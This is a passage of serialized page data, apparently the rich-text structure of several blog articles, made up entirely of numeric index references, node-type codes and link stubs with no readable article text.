ata":5907,"marks":5908,"value":1178,"nodeType":865},{},[5909],{"type":944},{"data":5911,"marks":5912,"value":1182,"nodeType":865},{},[],{"data":5914,"content":5915,"nodeType":953},{},[],{"data":5917,"content":5918,"nodeType":963},{},[5919],{"data":5920,"marks":5921,"value":1193,"nodeType":865},{},[5922],{"type":961},{"data":5924,"content":5925,"nodeType":866},{},[5926],{"data":5927,"marks":5928,"value":1200,"nodeType":865},{},[],{"data":5930,"content":5931,"nodeType":866},{},[5932],{"data":5933,"marks":5934,"value":1207,"nodeType":865},{},[],{"data":5936,"content":5937,"nodeType":866},{},[5938],{"data":5939,"marks":5940,"value":1215,"nodeType":865},{},[5941],{"type":961},{"data":5943,"content":5944,"nodeType":866},{},[5945],{"data":5946,"marks":5947,"value":1222,"nodeType":865},{},[],{"data":5949,"content":5950,"nodeType":866},{},[5951,5955],{"data":5952,"marks":5953,"value":1230,"nodeType":865},{},[5954],{"type":944},{"data":5956,"marks":5957,"value":1234,"nodeType":865},{},[],{"data":5959,"content":5962,"nodeType":925},{"target":5960},{"sys":5961},{"id":1239,"type":922,"linkType":923},[],{"data":5964,"content":5965,"nodeType":866},{},[5966],{"data":5967,"marks":5968,"value":1247,"nodeType":865},{},[],{"data":5970,"content":5971,"nodeType":866},{},[5972],{"data":5973,"marks":5974,"value":1254,"nodeType":865},{},[],{"data":5976,"content":5977,"nodeType":866},{},[5978],{"data":5979,"marks":5980,"value":1261,"nodeType":865},{},[],{"data":5982,"content":5983,"nodeType":953},{},[],{"data":5985,"content":5986,"nodeType":963},{},[5987],{"data":5988,"marks":5989,"value":1272,"nodeType":865},{},[5990],{"type":961},{"data":5992,"content":5993,"nodeType":866},{},[5994,5997,6001],{"data":5995,"marks":5996,"value":1279,"nodeType":865},{},[],{"data":5998,"marks":5999,"value":1284,"nodeType":865},{},[6000],{"type":961},{"data":6002,"marks":6003,"value":1288,"nodeType":865},{},[],{"data":6005,"content":6006,"nodeType":866},{},[6007,6010,6014],{"data":6008,"marks":6009,"value":1295,"nodeType":865},{},[],{"data":6011,"marks":6012,"value":1300,"nodeType":865},{},[6013],{"type":961},{"data":6015,"marks":6016,"value":1304,"nodeType":865},{},[],{"data":6018,"content":6019,"nodeType":866},{},[6020],{"data":6021,"marks":6022,"value":1311,"nodeType":865},{},[],{"data":6024,"content":6025,"nodeType":866},{},[6026],{"data":6027,"marks":6028,"value":1318,"nodeType":865},{},[],{"data":6030,"content":6031,"nodeType":866},{},[6032],{"data":6033,"marks":6034,"value":1325,"nodeType":865},{},[],{"data":6036,"content":6037,"nodeType":866},{},[6038,6041,6049],{"data":6039,"marks":6040,"value":1332,"nodeType":865},{},[],{"data":6042,"content":6043,"nodeType":882},{"uri":1335},[6044],{"data":6045,"marks":6046,"value":1342,"nodeType":865},{},[6047,6048],{"type":997},{"type":961},{"data":6050,"marks":6051,"value":1346,"nodeType":865},{},[],{"data":6053,"content":6054,"nodeType":1049},{},[6055,6073,6091],{"data":6056,"content":6057,"nodeType":1003},{},[6058],{"data":6059,"content":6060,"nodeType":866},{},[6061,6064,6070],{"data":6062,"marks":6063,"value":1359,"nodeType":865},{},[],{"data":6065,"content":6066,"nodeType":882},{"uri":1362},[6067],{"data":6068,"marks":6069,"value":1367,"nodeType":865},{},[],{"data":6071,"marks":6072,"value":1371,"nodeType":865},{},[],{"data":6074,"content":6075,"nodeType":1003},{},[6076],{"data":6077,"content":6078,"nodeType":866},{},[6079,6082,6088],{"data":6080,"marks":6081,"value":1381,"nodeType":865},{},[],{"data":6083,"content":6084,"nodeType":882},{"uri":1384},[6085],{"data":6086,"marks":6087,"value":1389,"nodeType":865},{},[],{"data":6089,"marks":6090,"value":1393,"nodeType":865},{},[],{"data":6092,"content":6093,"nodeType":1003},{},[6094],{"data":6095,"content":6096,"nodeType":866},{},[6097,6100,6107,6110,6114,6117,6121],{"data":6098,"marks":6099,"value":21,"nodeType":865},{},[],{"data":6101,"content":6102,"nodeType":882},{"uri":1405},[6103],{"data":6104,"marks":6105,"value":1411,"nodeType":865},{},[6106],{"type":997},{"data":6108,"marks":6109,"value":1415,"nodeType":865},{},[],{"data":6111,"marks":6112,"value":1420,"nodeType":865},{},[6113],{"type":961},{"data":6115,"marks":6116,"value":1424,"nodeType":865},{},[],{"data":6118,"marks":6119,"value":1429,"nodeType":865},{},[6120],{"type":961},{"data":6122,"marks":6123,"value":1048,"nodeType":865},{},[],{"data":6125,"content":6126,"nodeType":866},{},[6127],{"data":6128,"marks":6129,"value":1439,"nodeType":865},{},[],{"data":6131,"content":6132,"nodeType":866},{},[6133],{"data":6134,"marks":6135,"value":1446,"nodeType":865},{},[],{"data":6137,"content":6138,"nodeType":953},{},[],{"data":6140,"content":6141,"nodeType":1458},{},[6142],{"data":6143,"marks":6144,"value":1457,"nodeType":865},{},[6145],{"type":961},{"data":6147,"content":6148,"nodeType":866},{},[6149,6152,6156],{"data":6150,"marks":6151,"value":1465,"nodeType":865},{},[],{"data":6153,"marks":6154,"value":1470,"nodeType":865},{},[6155],{"type":944},{"data":6157,"marks":6158,"value":1474,"nodeType":865},{},[],{"data":6160,"content":6161,"nodeType":866},{},[6162],{"data":6163,"marks":6164,"value":1481,"nodeType":865},{},[],{"data":6166,"content":6167,"nodeType":866},{},[6168],{"data":6169,"marks":6170,"value":1488,"nodeType":865},{},[],{"data":6172,"content":6173,"nodeType":866},{},[6174],{"data":6175,"marks":6176,"value":1496,"nodeType":865},{},[6177],{"type":961},{"data":6179,"content":6180,"nodeType":953},{},[],{"data":6182,"content":6183,"nodeType":963},{},[6184],{"data":6185,"marks":6186,"value":1507,"nodeType":865},{},[6187],{"type":961},{"data":6189,"content":6190,"nodeType":866},{},[6191,6194,6200],{"data":6192,"marks":6193,"value":1514,"nodeType":865},{},[],{"data":6195,"content":6196,"nodeType":882},{"uri":1335},[6197],{"data":6198,"marks":6199,"value":1521,"nodeType":865},{},[],{"data":6201,"marks":6202,"value":1525,"nodeType":865},{},[],{"data":6204,"content":6205,"nodeType":866},{},[6206],{"data":6207,"marks":6208,"value":1532,"nodeType":865},{},[],{"data":6210,"content":6211,"nodeType":866},{},[6212],{"data":6213,"marks":6214,"value":1539,"nodeType":865},{},[],{"data":6216,"content":6217,"nodeType":1049},{},[6218,6227,6236],{"data":6219,"content":6220,"nodeType":1003},{},[6221],{"data":6222,"content":6223,"nodeType":866},{},[6224],{"data":6225,"marks":6226,"value":1552,"nodeType":865},{},[],{"data":6228,"content":6229,"nodeType":1003},{},[6230],{"data":6231,"content":6232,"nodeType":866},{},[6233],{"data":6234,"marks":6235,"value":1562,"nodeType":865},{},[],{"data":6237,"content":6238,"nodeType":1003},{},[6239],{"data":6240,"content":6241,"nodeType":866},{},[6242],{"data":6243,"marks":6244,"value":1572,"nodeType":865},{},[],{"data":6246,"content":6247,"nodeType":866},{},[6248],{"data":6249,"marks":6250,"value":1579,"nodeType":865},{},[],{"data":6252,"content":6253,"nodeType":866},{},[6254],{"data":6255,"marks":6256,"value":1586,"nodeType":865},{},[],{"data":6258,"content":6259,"nodeType":953},{},[],{"data":6261,"content":6262,"nodeType":963},{},[6263],{"data":6264,"marks":6265,"value":1597,"nodeType":865},{},[6266],{"type":961},{"data":6268,"content":6269,"nodeType":866},{},[6270],{"data":6271,"marks":6272,"value":1604,"nodeType":865},{},[],{"data":6274,"content":6275,"nodeType":866},{},[6276,6280],{"data":6277,"marks":6278,"value":1612,"nodeType":865},{},[6279],{"type":961},{"data":6281,"marks":6282,"value":1616,"nodeType":865},{},[],{"data":6284,"content":6287,"nodeType":925},{"target":6285},{"sys":6286},{"id":1621,"type":922,"linkType":923},[],{"data":6289,"content":6290,"nodeType":866},{},[6291,6295],{"data":6292,"marks":6293,"value":1630,"nodeType":865},{},[6294],{"type":961},{"data":6296,"marks":6297,"value":1634,"nodeType":865},{},[],{"data":6299,"content":6300,"nodeType":866},{},[6301,6305],{"data":6302,"marks":6303,"value":1642,"nodeType":865},{},[6304],{"type":961},{"data":6306,"marks":6307,"value":1646,"nodeType":865},{},[],{"data":6309,"content":6312,"nodeType":925},{"target":6310},{"sys":6311},{"id":1651,"type":922,"linkType":923},[],{"data":6314,"content":6315,"nodeType":866},{},[6316,6320],{"data":6317,"marks":6318,"value":1660,"nodeType":865},{},[6319],{"type":961},{"data":6321,"marks":6322,"value":1664,"nodeType":865},{},[],{"data":6324,"content":6325,"nodeType":866},{},[6326,6330,6333,6339],{"data":6327,"marks":6328,"value":1672,"nodeType":865},{},[6329],{"type":961},{"data":6331,"marks":6332,"value":1676,"nodeType":865},{},[],{"data":6334,"content":6335,"nodeType":882},{"uri":973},[6336],{"data":6337,"marks":6338,"value":978,"nodeType":865},{},[],{"data":6340,"marks":6341,"value":1686,"nodeType":865},{},[],{"data":6343,"content":6344,"nodeType":866},{},[6345],{"data":6346,"marks":6347,"value":1693,"nodeType":865},{},[],{"data":6349,"content":6350,"nodeType":953},{},[],{"data":6352,"content":6353,"nodeType":963},{},[6354],{"data":6355,"marks":6356,"value":1704,"nodeType":865},{},[6357],{"type":961},{"data":6359,"content":6360,"nodeType":866},{},[6361],{"data":6362,"marks":6363,"value":1711,"nodeType":865},{},[],{"data":6365,"content":6366,"nodeType":866},{},[6367],{"data":6368,"marks":6369,"value":1718,"nodeType":865},{},[],{"data":6371,"content":6372,"nodeType":866},{},[6373,6376,6383],{"data":6374,"marks":6375,"value":1725,"nodeType":865},{},[],{"data":6377,"content":6378,"nodeType":882},{"uri":1728},[6379],{"data":6380,"marks":6381,"value":1734,"nodeType":865},{},[6382],{"type":997},{"data":6384,"marks":6385,"value":1738,"nodeType":865},{},[],{"items":6387},[6388,6390],{"sys":6389,"name":297},{"id":2828},{"sys":6391,"name":2825},{"id":2824},{"items":6393},[6394],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":6395},{"url":853},{"__typename":1788,"sys":6397,"content":6398,"title":2816,"synopsis":2817,"hashTags":59,"publishedDate":2818,"slug":2819,"tagsCollection":7296,"authorsCollection":7302},{"id":1790},{"json":6399},{"data":6400,"content":6401,"nodeType":1739},{},[6402,6409,6415,6422,6933,6938,6944,6950,6953,6960,6966,6973,6979,6984,6989,6996,7009,7016,7022,7029,7035,7040,7047,7053,7058,7061,7068,7083,7099,7114,7120,7123,7130,7136,7146,7152,7162,7168,7173,7183,7189,7199,7205,7211,7216,7226,7232,7235,7242,7248,7254,7260,7265,7268,7274,7280],{"data":6403,"content":6404,"nodeType":963},{},[6405],{"data":6406,"marks":6407,"value":1802,"nodeType":865},{},[6408],{"type":961},{"data":6410,"content":6411,"nodeType":866},{},[6412],{"data":6413,"marks":6414,"value":1809,"nodeType":865},{},[],{"data":6416,"content":6417,"nodeType":866},{},[6418],{"data":6419,"marks":6420,"value":1817,"nodeType":865},{},[6421],{"type":961},{"data":6423,"content":6424,"nodeType":2396},{},[6425,6468,6546,6605,6655,6764,6814,6874],{"data":6426,"content":6427,"nodeType":1869},{},[6428,6438,6448,6458],{"data":6429,"content":6430,"nodeType":1835},{},[6431],{"data":6432,"content":6433,"nodeType":866},{},[6434],{"data":6435,"marks":6436,"value":1834,"nodeType":865},{},[6437],{"type":961},{"data":6439,"content":6440,"nodeType":1835},{},[6441],{"data":6442,"content":6443,"nodeType":866},{},[6444],{"data":6445,"marks":6446,"value":1846,"nodeType":865},{},[6447],{"type":961},{"data":6449,"content":6450,"nodeType":1835},{},[6451],{"data":6452,"content":6453,"nodeType":866},{},[6454],{"data":6455,"marks":6456,"value":1857,"nodeType":865},{},[6457],{"type":961},{"data":6459,"content":6460,"nodeType":1835},{},[6461],{"data":6462,"content":6463,"nodeType":866},{},[6464],{"data":6465,"marks":6466,"value":1868,"nodeType":865},{},[6467],{"type":961},{"data":6469,"content":6470,"nodeType":1869},{},[6471,6491,6500,6527],{"data":6472,"content":6473,"nodeType":1835},{},[6474],{"data":6475,"content":6476,"nodeType":866},{},[6477,6480,6488],{"data":6478,"marks":6479,"value":21,"nodeType":865},{},[],{"data":6481,"content":6482,"nodeType":882},{"uri":1884},[6483],{"data":6484,"marks":6485,"value":1891,"nodeType":865},{},[6486,6487],{"type":997},{"type":961},{"data":6489,"marks":6490,"value":21,"nodeType":865},{},[],{"data":6492,"content":6493,"nodeType":1835},{},[6494],{"data":6495,"content":6496,"nodeType":866},{},[6497],{"data":6498,"marks":6499,"value":1904,"nodeType":865},{},[],{"data":6501,"content":6502,"nodeType":1835},{},[6503],{"data":6504,"content":6505,"nodeType":866},{},[6506,6509,6515,6518,6524],{"data":6507,"marks":6508,"value":1914,"nodeType":865},{},[],{"data":6510,"content":6511,"nodeType":882},{"uri":1917},[6512],{"data":6513,"marks":6514,"value":1922,"nodeType":865},{},[],{"data":6516,"marks":6517,"value":1926,"nodeType":865},{},[],{"data":6519,"content":6520,"nodeType":882},{"uri":1929},[6521],{"data":6522,"marks":6523,"value":1934,"nodeType":865},{},[],{"data":6525,"marks":6526,"value":1938,"nodeType":865},{},[],{"data":6528,"content":6529,"nodeType":1835},{},[6530],{"data":6531,"content":6532,"nodeType":866},{},[6533,6536,6543],{"data":6534,"marks":6535,"value":21,"nodeType":865},{},[],{"data":6537,"content":6538,"nodeType":882},{"uri":1917},[6539],{"data":6540,"marks":6541,"value":1955,"nodeType":865},{},[6542],{"type":997},{"data":6544,"marks":6545,"value":1959,"nodeType":865},{},[],{"data":6547,"content":6548,"nodeType":1869},{},[6549,6569,6578,6596],{"data":6550,"content":6551,"nodeType":1835},{},[6552],{"data":6553,"content":6554,"nodeType":866},{},[6555,6558,6566],{"data":6556,"marks":6557,"value":21,"nodeType":865},{},[],{"data":6559,"content":6560,"nodeType":882},{"uri":1974},[6561],{"data":6562,"marks":6563,"value":1981,"nodeType":865},{},[6564,6565],{"type":997},{"type":961},{"data":6567,"marks":6568,"value":21,"nodeType":865},{},[],{"data":6570,"content":6571,"nodeType":1835},{},[6572],{"data":6573,"content":6574,"nodeType":866},{},[6575],{"data":6576,"marks":6577,"value":1994,"nodeType":865},{},[],{"data":6579,"content":6580,"nodeType":1835},{},[6581],{"data":6582,"content":6583,"nodeType":866},{},[6584,6587,6593],{"data":6585,"marks":6586,"value":2004,"nodeType":865},{},[],{"data":6588,"content":6589,"nodeType":882},{"uri":1974},[6590],{"data":6591,"marks":6592,"value":2011,"nodeType":865},{},[],{"data":6594,"marks":6595,"value":2015,"nodeType":865},{},[],{"data":6597,"content":6598,"nodeType":1835},{},[6599],{"data":6600,"content":6601,"nodeType":866},{},[6602],{"data":6603,"marks":6604,"value":2025,"nodeType":865},{},[],{"data":6606,"content":6607,"nodeType":1869},{},[6608,6628,6637,6646],{"data":6609,"content":6610,"nodeType":1835},{},[6611],{"data":6612,"content":6613,"nodeType":866},{},[6614,6617,6625],{"data":6615,"marks":6616,"value":21,"nodeType":865},{},[],{"data":6618,"content":6619,"nodeType":882},{"uri":2040},[6620],{"data":6621,"marks":6622,"value":2047,"nodeType":865},{},[6623,6624],{"type":997},{"type":961},{"data":6626,"marks":6627,"value":21,"nodeType":865},{},[],{"data":6629,"content":6630,"nodeType":1835},{},[6631],{"data":6632,"content":6633,"nodeType":866},{},[6634],{"data":6635,"marks":6636,"value":2060,"nodeType":865},{},[],{"data":6638,"content":6639,"nodeType":1835},{},[6640],{"data":6641,"content":6642,"nodeType":866},{},[6643],{"data":6644,"marks":6645,"value":2070,"nodeType":865},{},[],{"data":6647,"content":6648,"nodeType":1835},{},[6649],{"data":6650,"content":6651,"nodeType":866},{},[6652],{"data":6653,"marks":6654,"value":2080,"nodeType":865},{},[],{"data":6656,"content":6657,"nodeType":1869},{},[6658,6678,6687,6728],{"data":6659,"content":6660,"nodeType":1835},{},[6661],{"data":6662,"content":6663,"nodeType":866},{},[6664,6667,6675],{"data":6665,"marks":6666,"value":21,"nodeType":865},{},[],{"data":6668,"content":6669,"nodeType":882},{"uri":2095},[6670],{"data":6671,"marks":6672,"value":2102,"nodeType":865},{},[6673,6674],{"type":997},{"type":961},{"data":6676,"marks":6677,"value":21,"nodeType":865},{},[],{"data":6679,"content":6680,"nodeType":1835},{},[6681],{"data":6682,"content":6683,"nodeType":866},{},[6684],{"data":6685,"marks":6686,"value":2115,"nodeType":865},{},[],{"data":6688,"content":6689,"nodeType":1835},{},[6690],{"data":6691,"content":6692,"nodeType":866},{},[6693,6696,6703,6706,6712,6715,6725],{"data":6694,"marks":6695,"value":21,"nodeType":865},{},[],{"data":6697,"content":6698,"nodeType":882},{"uri":2127},[6699],{"data":6700,"marks":6701,"value":2133,"nodeType":865},{},[6702],{"type":997},{"data":6704,"marks":6705,"value":2137,"nodeType":865},{},[],{"data":6707,"content":6708,"nodeType":882},{"uri":2140},[6709],{"data":6710,"marks":6711,"value":2145,"nodeType":865},{},[],{"data":6713,"marks":6714,"value":2149,"nodeType":865},{},[],{"data":6716,"content":6717,"nodeType":882},{"uri":2152},[6718,6721],{"data":6719,"marks":6720,"value":2157,"nodeType":865},{},[],{"data":6722,"marks":6723,"value":2162,"nodeType":865},{},[6724],{"type":997},{"data":6726,"marks":6727,"value":21,"nodeType":865},{},[],{"data":6729,"content":6730,"nodeType":1835},{},[6731],{"data":6732,"content":6733,"nodeType":866},{},[6734,6737,6743,6746,6752,6755,6761],{"data":6735,"marks":6736,"value":2175,"nodeType":865},{},[],{"data":6738,"content":6739,"nodeType":882},{"uri":2127},[6740],{"data":6741,"marks":6742,"value":2182,"nodeType":865},{},[],{"data":6744,"marks":6745,"value":2186,"nodeType":865},{},[],{"data":6747,"content":6748,"nodeType":882},{"uri":2140},[6749],{"data":6750,"marks":6751,"value":2193,"nodeType":865},{},[],{"data":6753,"marks":6754,"value":2186,"nodeType":865},{},[],{"data":6756,"content":6757,"nodeType":882},{"uri":2152},[6758],{"data":6759,"marks":6760,"value":2203,"nodeType":865},{},[],{"data":6762,"marks":6763,"value":21,"nodeType":865},{},[],{"data":6765,"content":6766,"nodeType":1869},{},[6767,6787,6796,6805],{"data":6768,"content":6769,"nodeType":1835},{},[6770],{"data":6771,"content":6772,"nodeType":866},{},[6773,6776,6784],{"data":6774,"marks":6775,"value":21,"nodeType":865},{},[],{"data":6777,"content":6778,"nodeType":882},{"uri":2221},[6779],{"data":6780,"marks":6781,"value":2228,"nodeType":865},{},[6782,6783],{"type":997},{"type":961},{"data":6785,"marks":6786,"value":21,"nodeType":865},{},[],{"data":6788,"content":6789,"nodeType":1835},{},[6790],{"data":6791,"content":6792,"nodeType":866},{},[6793],{"data":6794,"marks":6795,"value":2241,"nodeType":865},{},[],{"data":6797,"content":6798,"nodeType":1835},{},[6799],{"data":6800,"content":6801,"nodeType":866},{},[6802],{"data":6803,"marks":6804,"value":2251,"nodeType":865},{},[],{"data":6806,"content":6807,"nodeType":1835},{},[6808],{"data":6809,"content":6810,"nodeType":866},{},[6811],{"data":6812,"marks":6813,"value":2261,"nodeType":865},{},[],{"data":6815,"content":6816,"nodeType":1869},{},[6817,6837,6846,6855],{"data":6818,"content":6819,"nodeType":1835},{},[6820],{"data":6821,"content":6822,"nodeType":866},{},[6823,6826,6834],{"data":6824,"marks":6825,"value":21,"nodeType":865},{},[],{"data":6827,"content":6828,"nodeType":882},{"uri":2276},[6829],{"data":6830,"marks":6831,"value":2283,"nodeType":865},{},[6832,6833],{"type":997},{"type":961},{"data":6835,"marks":6836,"value":21,"nodeType":865},{},[],{"data":6838,"content":6839,"nodeType":1835},{},[6840],{"data":6841,"content":6842,"nodeType":866},{},[6843],{"data":6844,"marks":6845,"value":2296,"nodeType":865},{},[],{"data":6847,"content":6848,"nodeType":1835},{},[6849],{"data":6850,"content":6851,"nodeType":866},{},[6852],{"data":6853,"marks":6854,"value":2306,"nodeType":865},{},[],{"data":6856,"content":6857,"nodeType":1835},{},[6858],{"data":6859,"content":6860,"nodeType":866},{},[6861,6864,6871],{"data":6862,"marks":6863,"value":21,"nodeType":865},{},[],{"data":6865,"content":6866,"nodeType":882},{"uri":2318},[6867],{"data":6868,"marks":6869,"value":2324,"nodeType":865},{},[6870],{"type":997},{"data":6872,"marks":6873,"value":2328,"nodeType":865},{},[],{"data":6875,"content":6876,"nodeType":1869},{},[6877,6897,6906,6924],{"data":6878,"content":6879,"nodeType":1835},{},[6880],{"data":6881,"content":6882,"nodeType":866},{},[6883,6886,6894],{"data":6884,"marks":6885,"value":21,"nodeType":865},{},[],{"data":6887,"content":6888,"nodeType":882},{"uri":2343},[6889],{"data":6890,"marks":6891,"value":2350,"nodeType":865},{},[6892,6893],{"type":997},{"type":961},{"data":6895,"marks":6896,"value":21,"nodeType":865},{},[],{"data":6898,"content":6899,"nodeType":1835},{},[6900],{"data":6901,"content":6902,"nodeType":866},{},[6903],{"data":6904,"marks":6905,"value":2363,"nodeType":865},{},[],{"data":6907,"content":6908,"nodeType":1835},{},[6909],{"data":6910,"content":6911,"nodeType":866},{},[6912,6915,6921],{"data":6913,"marks":6914,"value":2373,"nodeType":865},{},[],{"data":6916,"content":6917,"nodeType":882},{"uri":2376},[6918],{"data":6919,"marks":6920,"value":2381,"nodeType":865},{},[],{"data":6922,"marks":6923,"value":2385,"nodeType":865},{},[],{"data":6925,"content":6926,"nodeType":1835},{},[6927],{"data":6928,"content":6929,"nodeType":866},{},[6930],{"data":6931,"marks":6932,"value":2395,"nodeType":865},{},[],{"data":6934,"content":6937,"nodeType":925},{"target":6935},{"sys":6936},{"id":2401,"type":922,"linkType":923},[],{"data":6939,"content":6940,"nodeType":866},{},[6941],{"data":6942,"marks":6943,"value":2409,"nodeType":865},{},[],{"data":6945,"content":6946,"nodeType":866},{},[6947],{"data":6948,"marks":6949,"value":2416,"nodeType":865},{},[],{"data":6951,"content":6952,"nodeType":953},{},[],{"data":6954,"content":6955,"nodeType":963},{},[6956],{"data":6957,"marks":6958,"value":2427,"nodeType":865},{},[6959],{"type":961},{"data":6961,"content":6962,"nodeType":866},{},[6963],{"data":6964,"marks":6965,"value":2434,"nodeType":865},{},[],{"data":6967,"content":6968,"nodeType":1458},{},[6969],{"data":6970,"marks":6971,"value":2442,"nodeType":865},{},[6972],{"type":961},{"data":6974,"content":6975,"nodeType":866},{},[6976],{"data":6977,"marks":6978,"value":2449,"nodeType":865},{},[],{"data":6980,"content":6983,"nodeType":925},{"target":6981},{"sys":6982},{"id":2454,"type":922,"linkType":923},[],{"data":6985,"content":6988,"nodeType":925},{"target":6986},{"sys":6987},{"id":921,"type":922,"linkType":923},[],{"data":6990,"content":6991,"nodeType":1458},{},[6992],{"data":6993,"marks":6994,"value":2468,"nodeType":865},{},[6995],{"type":961},{"data":6997,"content":6998,"nodeType":866},{},[6999,7002,7006],{"data":7000,"marks":7001,"value":2475,"nodeType":865},{},[],{"data":7003,"marks":7004,"value":2480,"nodeType":865},{},[7005],{"type":961},{"data":7007,"marks":7008,"value":2484,"nodeType":865},{},[],{"data":7010,"content":7011,"nodeType":1458},{},[7012],{"data":7013,"marks":7014,"value":2492,"nodeType":865},{},[7015],{"type":961},{"data":7017,"content":7018,"nodeType":866},{},[7019],{"data":7020,"marks":7021,"value":2499,"nodeType":865},{},[],{"data":7023,"content":7024,"nodeType":1458},{},[7025],{"data":7026,"marks":7027,"value":2507,"nodeType":865},{},[7028],{"type":961},{"data":7030,"content":7031,"nodeType":866},{},[7032],{"data":7033,"marks":7034,"value":2514,"nodeType":865},{},[],{"data":7036,"content":7039,"nodeType":925},{"target":7037},{"sys":7038},{"id":2519,"type":922,"linkType":923},[],{"data":7041,"content":7042,"nodeType":1458},{},[7043],{"data":7044,"marks":7045,"value":2528,"nodeType":865},{},[7046],{"type":961},{"data":7048,"content":7049,"nodeType":866},{},[7050],{"data":7051,"marks":7052,"value":2535,"nodeType":865},{},[],{"data":7054,"content":7057,"nodeType":925},{"target":7055},{"sys":7056},{"id":2540,"type":922,"linkType":923},[],{"data":7059,"content":7060,"nodeType":953},{},[],{"data":7062,"content":7063,"nodeType":963},{},[7064],{"data":7065,"marks":7066,"value":2552,"nodeType":865},{},[7067],{"type":961},{"data":7069,"content":7070,"nodeType":866},{},[7071,7074,7080],{"data":7072,"marks":7073,"value":2559,"nodeType":865},{},[],{"data":7075,"content":7076,"nodeType":882},{"uri":2562},[7077],{"data":7078,"marks":7079,"value":2567,"nodeType":865},{},[],{"data":7081,"marks":7082,"value":2571,"nodeType":865},{},[],{"data":7084,"content":7085,"nodeType":866},{},[7086,7089,7096],{"data":7087,"marks":7088,"value":2578,"nodeType":865},{},[],{"data":7090,"content":7091,"nodeType":882},{"uri":2581},[7092],{"data":7093,"marks":7094,"value":2587,"nodeType":865},{},[7095],{"type":997},{"data":7097,"marks":7098,"value":2591,"nodeType":865},{},[],{"data":7100,"content":7101,"nodeType":866},{},[7102,7105,7111],{"data":7103,"marks":7104,"value":2598,"nodeType":865},{},[],{"data":7106,"content":7107,"nodeType":882},{"uri":2601},[7108],{"data":7109,"marks":7110,"value":2606,"nodeType":865},{},[],{"data":7112,"marks":7113,"value":2610,"nodeType":865},{},[],{"data":7115,"content":7116,"nodeType":866},{},[7117],{"data":7118,"marks":7119,"value":2617,"nodeType":865},{},[],{"data":7121,"content":7122,"nodeType":953},{},[],{"data":7124,"content":7125,"nodeType":963},{},[7126],{"data":7127,"marks":7128,"value":2628,"nodeType":865},{},[7129],{"type":961},{"data":7131,"content":7132,"nodeType":866},{},[7133],{"data":7134,"marks":7135,"value":2635,"nodeType":865},{},[],{"data":7137,"content":7138,"nodeType":1458},{},[7139,7143],{"data":7140,"marks":7141,"value":2643,"nodeType":865},{},[7142],{"type":961},{"data":7144,"marks":7145,"value":2157,"nodeType":865},{},[],{"data":7147,"content":7148,"nodeType":866},{},[7149],{"data":7150,"marks":7151,"value":2653,"nodeType":865},{},[],{"data":7153,"content":7154,"nodeType":1458},{},[7155,7159],{"data":7156,"marks":7157,"value":2661,"nodeType":865},{},[7158],{"type":961},{"data":7160,"marks":7161,"value":2157,"nodeType":865},{},[],{"data":7163,"content":7164,"nodeType":866},{},[7165],{"data":7166,"marks":7167,"value":2671,"nodeType":865},{},[],{"data":7169,"content":7172,"nodeType":925},{"target":7170},{"sys":7171},{"id":2676,"type":922,"linkType":923},[],{"data":7174,"content":7175,"nodeType":1458},{},[7176,7180],{"data":7177,"marks":7178,"value":2685,"nodeType":865},{},[7179],{"type":961},{"data":7181,"marks":7182,"value":2157,"nodeType":865},{},[],{"data":7184,"content":7185,"nodeType":866},{},[7186],{"data":7187,"marks":7188,"value":2695,"nodeType":865},{},[],{"data":7190,"content":7191,"nodeType":1458},{},[7192,7196],{"data":7193,"marks":7194,"value":2703,"nodeType":865},{},[7195],{"type":961},{"data":7197,"marks":7198,"value":2157,"nodeType":865},{},[],{"data":7200,"content":7201,"nodeType":866},{},[7202],{"data":7203,"marks":7204,"value":2713,"nodeType":865},{},[],{"data":7206,"content":7207,"nodeType":866},{},[7208],{"data":7209,"marks":7210,"value":2720,"nodeType":865},{},[],{"data":7212,"content":7215,"nodeType":925},{"target":7213},{"sys":7214},{"id":2725,"type":922,"linkType":923},[],{"data":7217,"content":7218,"nodeType":1458},{},[7219,7223],{"data":7220,"marks":7221,"value":2734,"nodeType":865},{},[7222],{"type":961},{"data":7224,"marks":7225,"value":2157,"nodeType":865},{},[],{"data":7227,"content":7228,"nodeType":866},{},[7229],{"data":7230,"marks":7231,"value":2744,"nodeType":865},{},[],{"data":7233,"content":7234,"nodeType":953},{},[],{"data":7236,"content":7237,"nodeType":963},{},[7238],{"data":7239,"marks":7240,"value":2755,"nodeType":865},{},[7241],{"type":961},{"data":7243,"content":7244,"nodeType":866},{},[7245],{"data":7246,"marks":7247,"value":2762,"nodeType":865},{},[],{"data":7249,"content":7250,"nodeType":866},{},[7251],{"data":7252,"marks":7253,"value":2769,"nodeType":865},{},[],{"data":7255,"content":7256,"nodeType":866},{},[7257],{"data":7258,"marks":7259,"value":2776,"nodeType":865},{},[],{"data":7261,"content":7264,"nodeType":925},{"target":7262},{"sys":7263},{"id":2781,"type":922,"linkType":923},[],{"data":7266,"content":7267,"nodeType":953},{},[],{"data":7269,"content":7270,"nodeType":866},{},[7271],{"data":7272,"marks":7273,"value":2792,"nodeType":865},{},[],{"data":7275,"content":7276,"nodeType":866},{},[7277],{"data":7278,"marks":7279,"value":1718,"nodeType":865},{},[],{"data":7281,"content":7282,"nodeType":866},{},[7283,7286,7293],{"data":7284,"marks":7285,"value":21,"nodeType":865},{},[],{"data":7287,"content":7288,"nodeType":882},{"uri":1728},[7289],{"data":7290,"marks":7291,"value":2812,"nodeType":865},{},[7292],{"type":997},{"data":7294,"marks":7295,"value":21,"nodeType":865},{},[],{"items":7297},[7298,7300],{"sys":7299,"name":2825},{"id":2824},{"sys":7301,"name":297},{"id":2828},{"items":7303},[7304],{"fullName":2832,"firstName":2833,"jobTitle":2834,"profilePicture":7305},{"url":2836},{"__typename":1788,"sys":7307,"content":7308,"title":5016,"synopsis":5017,"hashTags":59,"publishedDate":5018,"slug":5019,"tagsCollection":8377,"authorsCollection":8383},{"id":3781},{"json":7309},{"data":7310,"content":7311,"nodeType":1739},{},[7312,7325,7330,7336,7342,7347,7350,7357,7364,7379,7417,7422,7435,7438,7445,7452,7474,7506,7512,7515,7522,7529,7535,7540,7546,7549,7556,7563,7597,7627,7633,7636,7643,7650,7670,7676,7715,7721,7724,7731,7738,7774,7780,7785,7788,7795,7802,7828,7834,7839,7845,7848,7855,7862,7885,7891,7897,7903,7906,7913,7920,7926,7931,7937,7958,7981,7984,7991,7998,8004,8010,8013,8020,8075,8078,8085,8091,8359,8362],{"data":7313,"content":7314,"nodeType":866},{},[7315,7318,7322],{"data":7316,"marks":7317,"value":3792,"nodeType":865},{},[],{"data":7319,"marks":7320,"value":3797,"nodeType":865},{},[7321],{"type":961},{"da